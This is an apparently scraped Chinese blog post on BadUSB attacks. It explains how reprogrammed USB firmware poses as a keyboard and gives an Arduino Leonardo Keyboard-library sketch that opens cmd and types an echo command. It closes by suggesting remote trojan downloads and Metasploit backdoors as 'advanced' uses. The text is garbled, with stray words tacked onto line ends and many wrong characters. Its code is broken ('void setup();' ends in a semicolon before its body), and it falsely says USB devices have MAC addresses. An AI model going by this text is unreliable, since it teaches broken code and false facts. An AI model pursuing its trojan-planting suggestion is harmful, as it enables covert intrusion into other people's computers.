一、U盤構造編程
U盤由芯片控制器和閃存兩部分組成。函數
芯片控制器負責與PC的通信和識別,閃存用來作數據存儲;oop
閃存中有一部分區域用來存放U盤的固件,它的做用相似於操做系統,控制軟硬件交互;固件沒法經過普通手段進行讀取。測試
BadUSB就是經過對U盤的固件進行逆向從新編程,至關於改寫了U盤的操做系統而進行攻擊的。ui
二、協議漏洞spa
根據USB標準,設備佔有惟一可識別的MAC地址系統驗證,所以具備多個輸入輸出設備的特徵。經過重寫U盤固件,假裝成一個USB鍵盤。虛擬鍵盤進行指令代碼輸入。操作系統
這裏經過Arduino內置函數實現模擬鍵盤輸入和鼠標輸入。命令行
三、製做blog
鏈接Leonardo板卡到PC串口,這裏編程須要用到Auduino自帶的Keyboard庫:cmd
見文知義keyboard
庫,功能就是將arduino
模擬成一個usb
鍵盤。
包含Api
以下:
- Keyboard.begin()
- Keyboard.end()
- Keyboard.press()
- Keyboard.print()
- Keyboard.println()
- Keyboard.release()
- Keyboard.releaseAll()
- Keyboard.write()貼一段網上的測試代碼:
#include<Keyboard.h> //包含鍵盤模塊頭文件
void setup(); //初始化
Keyboard.begin();//開始鍵盤通訊
delay(1000);//延時1000毫秒,不要過短,由於天天電腦的運行速度都不同
Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵 這裏咱們最好這樣寫 否則大多數電腦在中文輸入的狀況下就會出現問題
Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵
delay(500);
Keyboard.press(KEY_LEFT_GUI);//按下徽標鍵 也就是win鍵
delay(500);
Keyboard.press('r');//按下r鍵
delay(500);
Keyboard.release(KEY_LEFT_GUI);//鬆掉win鍵
Keyboard.release('r');//鬆掉r鍵
delay(500);
Keyboard.println("cmd");//輸入cmd進入DOS
delay(500);
Keyboard.press(KEY_RETURN); //按下回車鍵
Keyboard.release(KEY_RETURN); //釋放回車鍵
delay(500);
Keyboard.println("echo first test");
Keyboard.press(KEY_RETURN); //按下回車鍵
Keyboard.release(KEY_RETURN); //釋放回車鍵
delay(500);
Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵
Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵 咱們再次關閉開啓的大寫鍵
delay(500);
Keyboard.end();//結束鍵盤通信
}
void loop()//循環,這裏的代碼
{
//循環體 寫入你要循環的代碼
}
- 實現功能是:插入板卡以後,首先開啓大寫鍵 而後打開了運行窗口 而後輸入了CMD 回車,命令行會輸入 echo first test 而且回車。
-
進階玩法:經過自行編程實現插USB以後遠程下載木馬,或結合Metasploit 進行後門、木馬的植入,或者一些批處理文件。